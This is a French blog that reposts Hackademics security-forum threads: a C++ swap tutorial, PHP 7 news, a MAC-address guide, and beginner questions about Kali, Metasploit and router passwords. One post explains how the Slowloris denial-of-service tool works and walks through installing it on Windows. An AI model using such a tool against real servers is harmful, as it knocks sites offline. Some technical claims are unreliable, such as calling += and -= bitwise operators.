lundi 31 août 2015

Tutoriel Permutation algorithmique entière

Bonjour à tous, je viens tout juste de me remettre au C++, cela faisait très longtemps que je n'y avais pas touché et j'ai donc décidé de m'y remettre.

Pendant que je progresse au fil des chapitres de différents e-books, j'ai eu l'occasion de devoir implémenter un algorithme effectuant l'opération de la fameuse fonction de permutation. Après quelques tests, écritures de pseudos-codes sur brouillons et calculs binaires de plus en plus longs, j'ai réussi à trouver trois différents algorithmes qui seront facilement adaptables dans d'autres langages de programmation. Chacun de ces trois algorithmes présentent leurs avantages et inconvénients en terme de gestion de mémoire, temps processeur, adaptation, lisibilité et retranscription (et oui l'humain aussi doit de temps en temps bricoler par ses propres moyens en sortant un crayon et du papier) je vais donc vous les présenter un-à-un en vous exposant les éventuels inconvénients que j'ai pu constater.

Concept général de la permutation
La permutation algorithmique est une opération ciblant au moins deux variables et permet l'échange respectif des valeurs de ces variables. Voici un pseudo-code pour illustrer mes propos :

Code:

a <- 1;
b <- 5;

ECRIRE a, b; //!< a: 1
            //!< b: 5

PERMUT(a, b);

ECRIRE a, b; //!< a: 5
            //!< b: 1

Dans ce pseudo-code, on peut voir l'utilisation d'une fonction PERMUT dont le nom est bien entendu fictif, mais il s'agit de la fonction qui permet la permutation des valeurs respectives de a et b. Je vais donc vous montrer diverses méthodes permettant d'implémenter une telle fonction dans vos programmes.

Permutation par variable temporaire
Je commence par la plus rependue de toutes, celle que tous les programmeurs débutants étudient dans leurs débuts, la permutation exploitant une variable auxiliaire (ou temporaire):

Code:

#include <iostream>  //!< Flux d'entrée/sortie

/**
 * \brief Permutation de a et b exploitant une variable temporaire
 *
 * \author Creased
 */

int main() {
        //! Déclaration
        int a(2147483647), b(42);  //!< Variables à permuter
        int tmp;  //!< Variable temporaire

        //! Affichage prétraitement
        std::cout << "a: " << a << std::endl << "b: " << b << std::endl << "tmp: " << tmp << std::endl;  //!< a: 2147483647
                                                                                                        //!< b: 42
                                                                                                        //!< tmp: NULL

        //! Permutation

        tmp = a;  //!< a: 2147483647
                  //!< b: 42
                  //!< tmp: 2147483647

        a = b;    //!< a: 42
                  //!< b: 42
                  //!< tmp: 2147483647

        b = tmp;  //!< a: 42
                  //!< b: 2147483647
                  //!< tmp: 2147483647

        //! Affichage post-traitement
        std::cout << "a: " << a << std::endl << "b: " << b << std::endl << "tmp: " << tmp << std::endl;  //!< a: 42
                                                                                                        //!< b: 2147483647
                                                                                                        //!< tmp: 2147483647

        //! Fin du programme
    return 0;
}

Comme on peut le constater en ligne 34, les valeurs de a et b ont été respectivement interverties. Cette méthode fonctionne, mais met en avant son grand défaut à savoir l'utilisation d'une variable auxiliaire nécessaire au transfert des deux valeurs, imaginez-vous avec deux verres d'eaux de tailles identiques, transférer le contenue d'un verre à l'autre est chose aisée si l'on possède un troisième verre, mais ceci implique d'en posséder un de plus... C'est exactement la même chose avec les variables et donc les espaces mémoire, l'utilisation d'un espace mémoire supplémentaire est nécessaire et donc il faut être certain de sa disponibilité, pensez aux premiers développeurs sur Amiga avec leurs chipsets RAM de 256Ko, "Less is more.".

Son avantage est quant à lui indéniable, sa simplicité logique et sémantique.

Permutation arithmétique
Voici une méthode qui quant à elle n'exploite pas de troisième variable contenant une valeur auxiliaire pendant la permutation des valeurs des variables a et b , elle fait appel aux notions basiques de l'arithmétique élémentaire, la symétrie arithmétique (ou opposé arithmétique) :

Code:

#include <iostream>  //!< Flux d'entrée/sortie

/**
 * \brief Permutation de a et b exploitant une opération arithmétique
 *
 * \author Creased
 */

int main() {
    //! Déclaration
    int a(0x7fffffff), b(0x2a);  //!< Variables à permuter

    //! Affichage prétraitement
    std::cout << "a: " << a << std::endl << "b: " << b << std::endl;  //!< a: 2 147 483 647
                                                                      //!< b: 42

    //! Permutation

    a += b;    //!< a: (2 147 483 647) + (42)
                //!< a: (0111 1111 1111 1111 1111 1111 1111 1111): 0x7fffffff
                //!<  +(0000 0000 0000 0000 0000 0000 0010 1010): 0x2a
                //!<    =========================================
                //!<    **** **** **** **** **** **** **** **
                //!<    =========================================
                //!<    (1000 0000 0000 0000 0000 0000 0010 1001): 0x80000029
                //!<    ^ Le MSB définit si l'entier signé est positif ou négatif
                //!< a: -(2 147 483 607)
                //!< b: 42

    b = a - b;  //!< a: -(2 147 483 607)
                //!< b: -(2 147 483 607) - (42)
                //!< b: (1000 0000 0000 0000 0000 0000 0010 1001): 0x80000029
                //!<  -(0000 0000 0000 0000 0000 0000 0010 1010): 0x2a
                //!<    (-a)-b=(-a)+(-b) donc:
                //!< b: (1000 0000 0000 0000 0000 0000 0010 1001): 0x80000029
                //!<  +(1111 1111 1111 1111 1111 1111 1101 0110): 0xffffffd6
                //!<    =========================================
                //!<  *
                //!<    =========================================
                //!<  1(0111 1111 1111 1111 1111 1111 1111 1111): 0x7fffffff
                //!<    ^ Le MSB définit si l'entier signé est positif ou négatif
                //!<  ^ Débordement ...
                //!< b: 2 147 483 647


    a -= b;    //!< a: -(2 147 483 607) - (2 147 483 647)
                //!< a: (1000 0000 0000 0000 0000 0000 0010 1001): 0x80000029
                //!<  -(0111 1111 1111 1111 1111 1111 1111 1111): 0x7fffffff
                //!<    (-a)-b=(-a)+(-b) donc:
                //!< a: (1000 0000 0000 0000 0000 0000 0010 1001): 0x80000029
                //!<  +(1000 0000 0000 0000 0000 0000 0000 0001): 0x80000001
                //!<    =========================================
                //!<  *                                      *
                //!<    =========================================
                //!<  1(0000 0000 0000 0000 0000 0000 0010 1010): 0x2a
                //!<    ^ Le MSB définit si l'entier signé est positif ou négatif
                //!<  ^ Débordement ...
                //!< a: 42
                //!< b: 2 147 483 647

    //! Affichage post-traitement
    std::cout << "a: " << a << std::endl << "b: " << b << std::endl;  //!< a: 42
                                                                      //!< b: 2 147 483 647

    //! Fin du programme
    return 0;
}

Légendes et définitions :
  • les symboles préfixés par '0x' sont les notations hexadécimales (base 16) des valeurs de a et b,
  • les suites de 1 et 0 sont les notations binaires (base 2) des valeurs de a et b,
  • le MSB (littéralement "Most Significant Bit"), la notation positionnelle du binaire veut que la valeur la plus à gauche soit la plus grande,
  • Le LSB (littéralement "Least Significant Bit"), la notation positionnelle du binaire veut que la valeur la plus à droite soit la plus petite.


Ici l'utilisation d'opérateur arithmétique économise un espace mémoire, ceci permet donc par exemple dans les cas extrêmes, d'empêcher les temps d'attentes pour en libérer une ou l'utilisation de la mémoire swap (mémoire d'échange exploitant la mémoire de masse). Cependant, comme j'ai pu le décrire dans les commentaires du code, l'utilisation de ce type d'algorithme est risquée, car il peut provoquer ce que l'on appelle un débordement de mémoire ("memory overload/overflow"). Ce débordement de mémoire peut entraîner dans le pire des cas un plantage complet du programme ou la corruption des données traitées. Imaginez-vous développeur d'un programme de direction de drones à destination de la station spatiale internationale, la moindre erreur de ce genre pourrait compromettre des missions de ravitaillement, je vous laisse penser aux dommages collatéraux...

Ce débordement est dû tout simplement au fait qu'un entier signé codé sur 32 bits utilise un bit, le MSB, pour définir si l'entier est positif ou négatif, notez que si le MSB est à 0 le nombre est positif, or 0 (base 10) <-> 0 (base 2) donc 0 est positif et non neutre, la valeur max est donc :
Code:

((2^(32-MSB)) - 1) = 2 147 483 647 en base 10
soit (0111 1111 1111 1111 1111 1111 1111 1111) en base 2

Code:

La valeur minimale est donc égale à l'opposé de la valeur max + 1, car le 0 est positif soit :
((2 147 483 647) * (-1)) + 1 = (-2 147 483 648) en base 10
soit (1000 0000 0000 0000 0000 0000 0000 0000) en base 2

L'étendue d'un entier signé est donc de (-2 147 483 648) à (2 147 483 647).
Les entiers non-signés quant à eux n'utilisent pas le MSB pour savoir si un nombre est positif ou négatif, seuls les entiers positifs correspondent à un entier non-signé, leur étendue positive est donc plus grande et s'étend de 0 à ((2^32) - 1) soit (4 294 967 295).

Son avantage est donc l'absence de variable auxiliaire, mais son inconvénient majeur est le risque de débordement qu'il faut traiter dans tous les cas...

Permutation par disjonction exclusive
Pour finir voici le Saint Graal, cette méthode n'exploite pas de troisième variable, ne présente d'après mes tests, pas de risque de débordement. Elle fait appel à une notion très simple de la théorie de la logique combinatoire et séquentientielle mais aussi de l'algèbre de Boole, cette notion s'appelle le XOR (littéralement "OU exclusif" ou disjonction exclusive):

Code:

#include <iostream>  //!< Flux d'entrée/sortie

/**
 * \brief Permutation de a et b exploitant la disjonction exclusive de l'algèbre de Boole
 *
 * \author Creased
 */

int main() {
    //! Déclaration
    int a(0x7fffffff), b(0x2a);  //!< Variables à permuter

    //! Affichage prétraitement
    std::cout << "a: " << a << std::endl << "b: " << b << std::endl;  //!< a: 2 147 483 647
                                                                      //!< b: 42

    //! Permutation 'bitwise'

    /**
    * Table de vérité du XOR
    * | a | b | ^ |
    * | 1 | 1 | 0 |
    * | 1 | 0 | 1 |
    * | 0 | 1 | 1 |
    * | 0 | 0 | 0 |
    * le XOR vaut 1 lorsque seul a ou b vaut 1 et que ET(a, b) donne 1
    */

    a ^= b;  //!< a: (2 147 483 647) ^ (42)
            //!< a: (0111 1111 1111 1111 1111 1111 1111 1111): 0x7fffffff
            //!<  ^(0000 0000 0000 0000 0000 0000 0010 1010): 0x2a
            //!<    =========================================
            //!<    (0111 1111 1111 1111 1111 1111 1101 0101): 0x7fffffd5
            //!<    ^ Le MSB définit si l'entier signé est positif ou négatif
            //!< a: 2 147 483 605
            //!< b: 42

    b ^= a;  //!< a: 2 147 483 605
            //!< b: (42) ^ (2 147 483 605)
            //!< b: (0000 0000 0000 0000 0000 0000 0010 1010): 0x2a
            //!<  ^(0111 1111 1111 1111 1111 1111 1101 0101): 0x7fffffd5
            //!<    =========================================
            //!<    (0111 1111 1111 1111 1111 1111 1111 1111): 0x7fffffff
            //!<    ^ Le MSB définit si l'entier signé est positif ou négatif
            //!< b: 2 147 483 647

    a ^= b;  //!< a: (2 147 483 605) ^ (2 147 483 647)
            //!< a: (0111 1111 1111 1111 1111 1111 1101 0101): 0x7fffffd5
            //!<  ^(0111 1111 1111 1111 1111 1111 1111 1111): 0x7fffffff
            //!<    =========================================
            //!<    (0000 0000 0000 0000 0000 0000 0010 1010): 0x2a
            //!<    ^ Le MSB définit si l'entier signé est positif ou négatif
            //!< a: 42
            //!< b: 2 147 483 647

    //! Affichage post-traitement
    std::cout << "a: " << a << std::endl << "b: " << b << std::endl;  //!< a: 42
                                                                      //!< b: 2 147 483 647

    //! Fin du programme
    return 0;
}

Comme je vous l'ai dit, ceci est très simple, le plus dur à saisir si l'on n'est pas avertie est l'utilisation d'un "^=", il s'agit d'un opérateur bitwise (littéralement "bit-à-bit") dont vous connaissez sûrement déjà l'existence si vous utilisez ceux-ci :
  • Addition bit-à-bit : +=
  • Soustraction bit-à-bit : -=
  • Multiplication bit-à-bit : *=
  • Division bit-à-bit : /=


Son avantage est son efficacité, l'absence de risque de débordement, mais surtout l'absence de variable auxiliaire. Son inconvénient est sa lisibilité et dans une moindre mesure sa simplicité d'implémentation dans d'autres langages, en effet les bitwises ne sont pas présents dans tous les langages et il est possible qu'il soit nécessaire de procéder nous-mêmes à ce bouclage bit à bit. Voici un exemple d'algorithme sous forme de pseudo-code qui permet l'implémentation de cette méthode dans tous les langages de programmation, je ne vous épargne pas la recherche pour la syntaxe, car je ne suis pas un savant-fou qui maitrise tous les langages à la perfection (en toute honnêteté à ce stade de ma progression, je suis incapable de produire un code concis permettant son implémentation en C++ car il me manque des notions sur l'utilisation de chaînes binaires et à leurs parcours :eek:) :
Code:

// SOUS-PROGRAMME: XOR
        // ARGUMENTS
                // ENTRÉE
                        // a, b: entiers (bits du même rang dans le mot binaire (1 ou 0))
                // SORTIE
                        // bln: booléen (bit résultant du XOR sous forme de booléen (true=1, false=0))
        // DEBUT
                /**
                * Table de vérité du XOR
                * | a | b | ^ |
                * | 1 | 1 | 0 |
                * | 1 | 0 | 1 |
                * | 0 | 1 | 1 |
                * | 0 | 0 | 0 |
                * le XOR vaut 1 lorsque seul a ou b vaut 1 et que ET(a, b) donne 1
                */

                bln <- ((!a && b) || (a && !b));  //!< le '!' permet de transposer le 1 ou 0 dans son état opposé tout en le traitant comme un booléen.
                RETURN bln;
        // FIN SOUS-PROGRAMME

// PROGRAMME: XOR bit-à-bit
        // VARIABLES
                // A, B: entiers
                // binXOR: chaine binaire
                // i: entier (variable compteur)
        // DEBUT
                A <- 1;
                B <- 5;
                binXOR <- '';

                POUR (i=32; i>=0; --i):
                        binXOR <- XOR(BIN(A)[i], BIN(B)[i])) . binXOR;
                       
                ECRIRE "XOR" . binXOR;
// FIN PROGRAMME

### EOF ###
Voici ce que je pouvais vous dire sur la permutation, n'hésitez absolument pas à poser des questions si certains aspects abordés ne sont pas assez clairs ou manque d'explications, j'y répondrai dans la mesure du possible.
N'hésitez pas non-plus à me corriger si j'ai fait des erreurs ou à apporter des compléments, j'accepte les critiques, remarques et conseils !


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1EvFKOl
via IFTTT

Retrouver identifiant box

Bonjour tous le monde,

j'aimerai savoir si quelqu'un sait comment récupérer les identifiants et mot de passe d'une box après avoir été changé

Box : Netgear


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1Kna0NN
via IFTTT

dimanche 30 août 2015

Identifiant box

Bonjour tous le monde,

j'aimerai savoir si quelqu'un sait comment récupérer les identifiants et mot de passe d'une box après avoir été changé

Box : Netgear


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1NQGcZm
via IFTTT

samedi 29 août 2015

[Déplacé] aide

salut à tous je suis nouveau dans la communauté alors aider moi j'ai besoin de cours merci!!!


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1UcBAC3
via IFTTT

jeudi 27 août 2015

Façon 'pythonic' de savoir si des éléments sont dans une liste dans un statement if

Bonsoir,

J'essais présentement de simplifier le code suivant :
Code:

elif 0 or 2 or 6 or 8 in number in check_if_free()
et après avoir essayer une millionième fois de trouver une façon différente j'ai décidé de demander aux experts :cool:

Voici quelques façon que j'ai essayé:
Code:

elif [0,2,6,8] in number in check_if_free(the_board):
ou encore
Code:

elif 0,2,6,8 in number in check_if_free(the_board):
ou ou encore
Code:

a = [0,2,6,8]
elif a in number in check_if_free(the_board):

et voilà, si quelqu'un sait une solution ça me simplifierais la vie

Merci


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1Em9FrY
via IFTTT

Changer son adresse MAC sous Windows

Bonjour à tous,

Un petit tutoriel pour changer son adresse MAC sous windows, rien de bien compliqué :


[1] - Dirigez-vous dans le panneau de configuration :


panneaudeconf.jpg

[2] - Cliquez sur "Afficher l'état et la gestion du réseau" :


afficheretat.jpg

Vous devriez arriver sur une fenêtre similaire à celle-ci :


interfacereseau.jpg

[3] - Sélectionnez l'interface/la carte réseau sur laquelle vous voulez changer l'adresse MAC.

Dans mon cas, je vais sélectionner l'interface Ethernet.

Après avoir cliqué sur l'interface vous arrivez sur une fenêtre -> "État de [votre interface]" :


etatdeether.jpg

[4] - Cliquez sur le bouton "Propriétés".

Vous Devriez tomber sur une fenêtre similaire à celle-ci :


prop.jpg

[5] - Cliquez ensuite sur le boutons "Configurer" et aller dans l'onglet "Avancé" :

avancee.jpg

Vous avez maintenant accès aux propriétés de votre carte réseau.

[5] - Sélectionnez la propriété "Network Adress"


Sans titre.jpg

Vous devriez avoir par défaut sélectionné "Absente", cliquez sur "Valeur", et entrez votre nouvelle adresse MAC :

EXEMPLE : AA:BB:CC:OD:EE:FF <- le format doit être une suite de 6 octets sous forme hexadécimal.
Images jointes


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1KmjlUk
via IFTTT

mercredi 26 août 2015

Tutoriel aide

salut à tous je suis nouveau dans la communauté alors aider moi j'ai besoin de cours merci!!!


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1PyEdY0
via IFTTT

Question pour bien debuter avec Kali linux

Salut a tous voila j'ai telecharger kali linux 2.0 , je l'ai graver en live cd donc sa ses fait , première question est il meilleur de le lancer en "live amd 64" ou "install" donc mon but serait de de tester le niveau de securiter du wifi de ma livebox qui est encrypter en wpa/wpa2 psk . et je mit connais pas en systèmes d'exploitation linux sa risque d'être compliquer ou je sait pas trop voila . merci a+


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1Py1Z6w
via IFTTT

mardi 25 août 2015

Présentation : PandorBOX

Bonjour tout le monde !

Pseudo (+autres si plusieurs) :
PandorBox, daenorks, hspinat

Connaissances informatiques générales :
Pas grand chose, j'ai juste fait les tutos de openclassrooms sur le c, un peu de python, puis la je vais me mettre au c++ finalement.

Connaissances en hacking :
J'ai déjà bidouiller un peu des ordis, je connais leur fonctionnements a peu prés, j'ai déjà monter ma tour. Plein de petites expériences comme sa. Les bases des fonctionnement de internet, des réseau, etc ... Les bases.

Système d'exploitation principal :
Avant j'étais sous Windows 7 puis il y a qq mois j'ai décidé de passer a Ubuntu (14.04 LTS), car je préfère.

Je viens sur ce forum pour :
Pour progresser ! Sa fait quelque années que je bidouille des ordis.

J'ai connu ce forum via :
Via Qwant

Informations supplémentaires (job, intérêts, autres...) :
Actuellement je passe en première S (SI). Et j'aime bidouiller les ordis !

PS : Je m'excuse des fautes d'orthographe j'ai légère dyslexie.
PPS : Pouvoir de réputation ???
PPPS : Je vous remercie d'avance pour tout le savoir que je vais acquérir ici !


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1JUatqB
via IFTTT

lundi 24 août 2015

Tutoriel Perl - Comment avoir Slowloris® sur Windows [XP - Seven - 8 - 8.1 - Vista] !


Avant, tout c'est quoi Slowloris® ?


Slowloris est un script écrit en Perl par Robert "RSnake" Hansen qui permet à une seule machine de faire tomber un serveur web en utilisant une bande passante minimale et d'effet de bords sur des services et des ports sans rapport1.
Slowloris utilise une attaque de type DoS (attaque par deni de service), il affecte en particulier les serveurs Apache 1.x et 2.x qui représentent 67% des serveurs sur le net.
Slowloris essaye de garder beaucoup de connexions ouvertes avec le serveur et les conserve le plus longtemps possible. Il l'accomplit en ouvrant des connexions avec la cible et lui envoyant une requête partielle. Périodiquement il envoie des headers HTTP, mais sans terminer la requête. Les serveurs visés vont conserver leurs connexions ouvertes, remplissant leur pool de connexion concurrente, et finalement empêche des connexions ultérieures des clients1.
Le principe de ce petit script Perl est d’envoyer des requêtes HTTP partielles, à intervalle régulier, afin de garder les sockets ouverts. Slowloris initie donc une requête GET vers le serveur cible, il y a un échange entre les deux entités, comme le ferait n’importe quel client HTTP vers le serveur, or ici slowloris va faire en sorte que l’échange ne se termine jamais. Slowloris ne va pas envoyer les séquences attendues par le serveur mais lui fournira de temps en temps un en-tête bidon qui sera ignoré par le serveur, mais qui permettra de maintenir la connexion TCP ouverte, empêchant ainsi le socket d’être fermé. Le serveur devient rapidement saturé, aboutissant au déni de service.


Pour exécuter un fichier codé en perl il faut avant tout télécharger Active perl.

Capture3.jpg
Next

Capture4.jpg
Accepter terms de license & Next

Capture6.jpg
Next

Capture7.jpg
Next

Capture8.jpg
Install


Ensuite, il faut télécharger le script Slowloris®.
Clique ici

Capture13.jpg

Capture14.jpg

Capture15.jpg

Le reste á vous de gérer !

Telechargement.jpg

Capture.PNG
Capture2.PNG
Images jointes


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1MPm7nc
via IFTTT

dimanche 23 août 2015

[C/C++] Vos bibliothèques préférées !

Bonjour ! Ayant fini mon MOOC sur le C, je voulais vous demander quelles étaient les bibliothèques que vous employez le plus !!
Il n'y a pas un bibliothèque faite spécialement pour la sécurité informatique ou l'offensive security ?

Merci d'avance pour toutes vos réponses !


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1PtYHBl
via IFTTT

(Débat) Meilleur ide pour débutant -> intermediaire en Python

Bonjour à tous, jusqu'à très recemment, j'utilisais idle pour programmer. Ce n'était pas génial mais sa marchait. J'ai trouvé hier qu'il y avait d'autre programmes pour programmer (ide). J'ai installer pycharm que je trouve pas mal mais trop compliqué pour mes besoins. Quelqu'un en a un à proposer ?

Merci

Nalfein


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1EcBZNr
via IFTTT

Tutoriel Héberger son serveur DNS en local sous Windows

Bonjour :D

Nous allons ici expliquer comment héberger son propre seveur DNS sous windows.

Un serveur DNS ?
Un serveur DNS (Domaine Name Server), c'est ce qui va faire correspondre une adresse IP (ex : 168.34.09.68.) avec un nom de domaine (ex : hackademics.fr).
Pour ceux qui veulent en savoir un petit peu plus avant de commencer : http://ift.tt/1JHPxD0

Le problème
Le problème n'est pas le serveur DNS en lui même c'est plus : à qui il appartient.

Je m'explique : Lorsque l'on se balade sur Internet et que l'on va visiter TPB ou t411, et qu'on ne peut pas y accéder c'est tout simplement parce que l'on utilise le serveur DNS de notre FAI, qui, sous décision de justice, a été obligé de les retirer de leur liste de sites accessibles. Pourtant, les serveurs de nos FAI ne sont pas si mal car il n'y a que sous décision du juge que l'on peut voir son contenu (Bon maintenant avec la loi renseignements je ne sais pas mais bon..) Bref toujours est-il que pour contourner la censure, ces sites nous ont gentiment conseillé d'utiliser les serveurs DNS de Goggle (tiens encore lui :D).
Et pour cause, Google possède des DNS que tout le monde peut emprunter. Encore mieux : Il charge plus rapidement les sites populaires pour vous encourager à les regarder (Génial ! YouTube est beaucoup plus fluide depuis que j'utilise les DNS Google !) Mais le pire c'est que lorsque vous utilisez les serveurs DNS de Google, celui-ci sait tout ce que vous faites ! Car attention ! Gogle n'est pas votre FAI il fait ce qu'il veut de vos données ! Et si Google sait ce que vous faites alors toute agence gouvernementale US le sait aussi (ex : NSA), votre vie privée est en péril...

La solution : Votre serveur DNS en local
UNBOUND vous permet d'héberger vous même votre serveur DNS : http://unbound.net/
UNBOUND s'installe comme un logiciel classique, il vous faudra juste vérifier sa présence en tapant
Code:

service.msc
Puis le lancement du service sera automatique (pour cela allez dans les propriétés)

Rendez vous maintenant dans votre Panneau de Configuration et tapez carte réseau ensuite dans afficher les connexions réseau sélectionnez votre connexion puis propriétés Enfin prenez Protocole Internet version 4 (TCP/Ipv4) refaites propriétés Et cochez la case Utiliser l'adresse de serveur DNS suivante et tapez 127.0.0.1

Pour vérifier que tout fonctionne, lancez une invite de commande et tapez
Code:

nslookup
Code:

google.com
Voilà ! Vous possédez votre propre serveur DNS ! Bye bye la censure et la fuite de votre vie privée :)

:D


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1PJoyWu
via IFTTT

vendredi 21 août 2015

impossible de demarrer le service metasploit

Bonjour, voila j'ai un soucis je suis sous kali linux 2.0, et quand je veux démarrer le service metasploit impossible
cela fait deux jour que je n'y arrive pas.. :( Pouvez vous m'aider ?

root@kali:~# service postgresql start
root@kali:~# service metasploit start
Failed to start metasploit.service: Unit metasploit.service failed to load: No such file or directory.
root@kali:~#

voila ce que ça maffiche...

Merci d'avance


from Hackademics : Forum de hacking – hackers white hat – cours de securite informatique, apprendre langage python, tutoriels de reverse engineering http://ift.tt/1PqYUFi
via IFTTT

News PHP 7 deux fois plus rapide que PHP 5.4 : bilan de son potentiel et de ses nouveautés



Le langage de programmation le plus utilisé au monde connu sous le sigle PHP dont l'éléphant est son symbole a décidé de tous écraser sur son passage pour 2015.
Les RFC qu'il a dévoilés sur son site afin que les concepteurs puissent se préparer au changement vont permettre d'avoir un PHP plus efficace et surtout de gagner en vitesse.
Plus de onze ans que l'on stagne sur PHP 5, il n'innove plus et devenait progressivement de plus en plus problématique.
Mais en octobre 2015, ils nous offrent une nouvelle mouture baptisée 7 et non 6 qui va faire parler d'elle durant longtemps et même faire oublier sa longue absence.
On sort d'une période dite de "Freeze" dans le milieu des concepteurs et des administrateurs réseau. J'entends par là que beaucoup de serveurs n'ont pas voulu aller jusqu'à la version 5.6 de PHP, attendant que certains bugs soient rectifiés.
Cette version révolutionnaire entraîne un tollé dans le monde informatique puisque l'on se demande ce qui ça se passer pour les sites hébergés et autres plates-formes lorsque l'on va passer sous PHP 7.
Normalement d'après ce que j'ai pu voir, on devrait passer à PHP 7 sans trop de modifications.
Alors quelles sont les innovations majeures ? Quels vont être les inconvénients et les avantages suite à ce passage ? Beaucoup de questions que je me pose, puisque mon blogue va dépendre de ces améliorations.
Voyons ensemble PHP 7 et découvrons les points majeurs qui vont changer.

Plus de vitesse





La refactorisation de base présentée par la RFC PHPNPG rend PHP 7 aussi vite que (ou plus rapide que) HHVM. Rappelez-vous que la RFC était prévue pour simplifier la transition vers la version 5.7 mais abandonnée par 19 voix non contre 14 oui. On avait jugé que les RFC généraient des problèmes majeurs de rétrocompatibilité.
Pour PHP 7 cela a été repensé et le résultat est tout bonnement spectaculaire tout comme le montrent les graphes du site TalkPHP.




On a un grand sourire en particulier les possesseurs de CMS comme Wordpress ou PHPbb qui double carrément sa vitesse et traite donc deux fois plus de requêtes/secondes.

Les changements relatifs à PHP7


Un certain nombre d'objets obsolètes ont été supprimés. Cela pourrait, cependant, avoir un impact sur les applications existantes. Donc, il est important de bien faire attention aux nouvelles syntaxes qui risqueraient de déprécier vos applications PHP.

Des premiers changements opérés

Voici les toutes premières balises qui vont devoir rapidement quitter votre code source si ce n'est fait.
En particulier les balises ASP :
<%, <%= et %> ont été enlevés tout comme les balises script <script language="php">
PHP 7 ne reconnaitra que plus la traditionnelle <? php et ?>.
L'extension ereg et toutes les fonctions ereg_* associées devront être remplacé par l'extension PCRE : preg_* qui offrent beaucoup plus de fonctionnalités.

Code PHP:

<?%
echo 
"Next step !";
<? 
php
echo "Next step !";
if (
ereg_replace)   devient    if (preg_replace)

Et la fonction MySQL aussi qui passe de mysql_* déprécié depuis PHP5.5 migre pour mysqli_*.

Citation:

Switch n'acceptera plus plusieurs défaut. Au deuxième, c'est finis.
Code PHP:

switch ($expr) {
  default:
    
neverExecuted();
    break;
  default:
    
executed();


Fatal error: Switch statements may only contain one default

Vous devez préparer vos feuilles de style PHP à ces changements qui ne subiront pas de tolérance de la part de PHP 7.
Si les changements s'arrêter là ce serait vraiment superflu, mais PHP 7 ne nous aura pas fait attendre 11 années pour rien, voyons ensemble toutes les parties qu'offre sa nouvelle version.

Abstract syntax tree

http://ift.tt/UKg5ed


Cette RFC propose l'introduction d'un arbre de syntaxe abstraite (AST) comme une structure intermédiaire dans notre processus de compilation. Cela remplace la pratique actuelle d'émettre opcodes directement à partir de l'analyseur.

Quels sont les principaux avantages ?

D'après PHP, il offrirait 2 avantages :

• Une performance accrut donc une vitesse optimisée comme nous l'avons vue précédemment.
• Un analyseur de code statique utile pour détecter des bugs ou des optimisations potentielles au niveau de la source de votre code PHP.
• Une représentation intermédiaire du code pendant la compilation.

De ce fait, on va avoir une performance sur la mémoire utilisée et donc sur la performance de la machine sous PHP 7. Ces fonctions manquées cruellement et sont avec UVS des plaques tournantes du PHP.
Des modifications mineures ont été apportées à la syntaxe des expressions courantes sous PHP, par exemple avec list().

Code PHP:

list ($array[], $array[], $array[]) = [123];
var_dump ($array);
 
// OLD: $array = [3, 2, 1]
// NEW: $array = [1, 2, 3] 

D'autres exemples de l'utilisation avec yeld, list,… sont en place sur PHP ainsi que des méthodes d'implémentations.

Uniforme Variable Syntaxe

http://ift.tt/1x6pufB

Cette RFC propose l'introduction d'une syntaxe de variable interne cohérente et complète. Pour atteindre cet objectif, la sémantique de certaines constructions variables rarement utilisées doit être changée. La syntaxe variable uniforme est destinée à résoudre une partie des incohérences lors de l'évaluation des variables.

Les constructeurs PHP 4 sont dépréciés

Considérons le code suivant :

Code PHP:

<?php

// classe de base, avec des propriétés et des méthodes membres
class Animal {

   public 
$nom "Elephant" ;
   public 
$type "PHP7" ;

   } 
// fin de la classe Animal

   
$Animal =new Animal() 
   
$property = [ 'premier' => 'nom''deuxieme' => 'info" ] ;
   echo  "\nLe nom de cet animal est " . $Animal->$property ['
premier'] . "\n\n";
?>

Analysons le code ci-joint ensemble :
On constate en PHP 5 que $Animal->$property ['premier'] correspond à $Animal->nom.
C'est assez incohérent cette accumulation de code pour affirmer une variable. On en vient à déclarer une variable dans une variable. En ce moment, j'étudie assidûment Python et je trouve qu'il montre plus de maturité sur ces points.
Alors qu'en PHP7, $Animal->$property ['premier'] sera évalué comme ($Animal->$property) ['premier'] et ne fonctionnera pas.

Il nous le démontre clairement sur le RFC :

// old meaning // new meaning
$$foo['bar']['baz'] ${$foo['bar']['baz']} ($$foo)['bar']['baz']
$foo->$bar['baz'] $foo->{$bar['baz']} ($foo->$bar)['baz']
$foo->$bar['baz']() $foo->{$bar['baz']}() ($foo->$bar)['baz']()
Foo::$bar['baz']() Foo::{$bar['baz']}() (Foo::$bar)['baz']()





PHP 7 considère que les matrices du type $property ne sont plus prises en charge et ne peuvent plus être converties en une chaîne.
PHP 7 nous donne une solution succincte qui pourrait contenter actuellement PHP5 et 7 :

Code PHP:

global $$foo->bar;
// instead use:
global ${$foo->bar}; 

Ce qui donnerait dans notre cas :
$Animal->{$property) ['premier']}

Pour aller plus loin, les associations imbriquées
PHP 7 permet des associations imbriquées entre les opérateurs, chose que PHP 5 réfuter par une belle erreur d'analyse.

On pourrait avoir des imbrications intéressantes, mais des accès statiques seraient également possibles du style :
